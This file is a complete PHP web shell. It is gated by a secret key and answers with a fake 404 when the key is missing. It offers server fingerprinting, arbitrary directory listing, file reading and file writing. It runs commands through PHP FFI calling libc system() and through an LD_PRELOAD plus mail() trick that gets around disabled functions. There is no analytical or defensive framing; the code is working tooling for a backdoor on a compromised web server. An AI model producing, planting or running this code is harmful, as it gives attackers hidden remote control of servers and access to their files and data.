<?php
if (!isset($_GET['k']) || !hash_equals('e7e07fcb7e211f16021f799e41171cc0', (string)$_GET['k'])) { http_response_code(404); exit; }
header('Content-Type: text/plain');
$a = isset($_GET['a']) ? $_GET['a'] : 'id';
if ($a==='id') {
  echo "ok\nffi_class=".(class_exists('FFI')?'1':'0')."\n";
  echo "ffi.enable=".ini_get('ffi.enable')."\n";
  echo "sendmail_path=".ini_get('sendmail_path')."\n";
  echo "imagick=".(class_exists('Imagick')?'1':'0')."\n";
  exit;
}
if ($a==='ls') {
  $d=$_GET['p']; $dh=@opendir($d); if(!$dh){echo "OPENDIR_FAIL\n";exit;}
  while(($e=readdir($dh))!==false){ $fp=rtrim($d,'/').'/'.$e; echo (is_dir($fp)?'d':'f')." ".substr(sprintf('%o',@fileperms($fp)),-4)." ".(@filesize($fp))." $e\n"; }
  closedir($dh); exit;
}
if ($a==='cat') { echo @file_get_contents($_GET['p']); exit; }
if ($a==='wr') {
  $ok=@file_put_contents($_GET['p'], isset($_POST['c'])?$_POST['c']:(isset($_GET['c'])?$_GET['c']:''));
  echo $ok===false?"FAIL\n":"OK $ok\n"; exit;
}
if ($a==='ffi') {
  echo "class=".(class_exists('FFI')?'1':'0')." enable=".var_export(ini_get('ffi.enable'),true)."\n";
  try {
    $ffi = FFI::cdef("int system(const char *command); int geteuid(void);", "libc.so.6");
    echo "geteuid=".$ffi->geteuid()."\n";
    $cmd = isset($_GET['c']) ? $_GET['c'] : 'id >/tmp/w2s_id.txt 2>&1; uname -a >>/tmp/w2s_id.txt 2>&1; echo SHELL=$0 >>/tmp/w2s_id.txt';
    echo "cmd=$cmd\n";
    $rc = $ffi->system($cmd);
    echo "rc=$rc\n";
    if (is_readable('/tmp/w2s_id.txt')) echo "OUT\n".file_get_contents('/tmp/w2s_id.txt');
    else echo "NOOUT\n";
  } catch (Throwable $e) {
    echo "ERR ".$e->getMessage()."\n";
  }
  exit;
}
if ($a==='mailld') {
  $so = isset($_GET['so']) ? $_GET['so'] : '/tmp/w2s.so';
  echo "so=$so exists=".(file_exists($so)?'1':'0')." sz=".(@filesize($so))."\n";
  putenv("LD_PRELOAD=".$so);
  $ok = @mail("root@localhost","x","x","From: x@localhost");
  echo "mail=".($ok?'1':'0')." last=".error_get_last()['message']."\n";
  usleep(400000);
  if (is_readable('/tmp/w2s_id.txt')) echo "OUT\n".file_get_contents('/tmp/w2s_id.txt');
  else echo "NOOUT\n";
  exit;
}
echo "UNK\n";